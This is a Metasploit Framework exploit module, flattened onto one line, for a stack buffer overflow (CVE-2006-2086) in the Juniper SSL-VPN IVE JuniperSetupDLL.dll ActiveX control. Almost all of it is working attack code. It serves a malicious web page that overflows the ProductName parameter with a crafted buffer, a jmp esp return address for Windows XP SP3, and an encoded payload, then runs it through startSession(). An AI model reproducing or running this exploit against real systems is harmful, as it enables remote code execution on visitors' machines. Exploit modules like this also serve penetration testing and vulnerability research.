|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94  |  ## # $Id: juniper_sslvpn_ive_setupdll.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super(update_info(info,  'Name' => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in the JuniperSetupDLL.dll  library which is called by the JuniperSetup.ocx ActiveX control,  as part of the Juniper SSL-VPN (IVE) appliance. By specifying an  overly long string to the ProductName object parameter, the stack  is overwritten.  },  'License'=> MSF_LICENSE,  'Author' => 'patrick',  'Version'=> '$Revision: 9262 $',  'References' =>  [  [ 'CVE', '2006-2086' ],  [ 'OSVDB', '25001' ],  [ 'BID', '17712' ],  [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload' =>  {  'Space' => 1024,  'BadChars' => "\x00\x0a\x0d\x20<>()\"\\\';@\#\%`",  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets' =>  [  [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp  [ 'Debugging', { 'Ret' => 0x44434241 } ],  ],  'DisclosureDate' => 'Apr 26 2006',  'DefaultTarget' => 0))  end  def on_request_uri(cli, request)  # Re-generate the payload  return if ((p = regenerate_payload(cli)) == nil)  # Randomize  vname = rand_text_alpha(rand(100) + 1)  # Build the exploit buffer  sploit = rand_text_alpha(2200)  sploit[220, 4] = [target['Ret']].pack('V')  sploit[240, payload.encoded.length] = payload.encoded  # Build out the message  content = %Q|  <html>  <object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">  <PARAM NAME="ProductName" VALUE="#{sploit}">  </object>  <script language="javascript">  #{vname}.startSession();  </script>  </html>  |  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |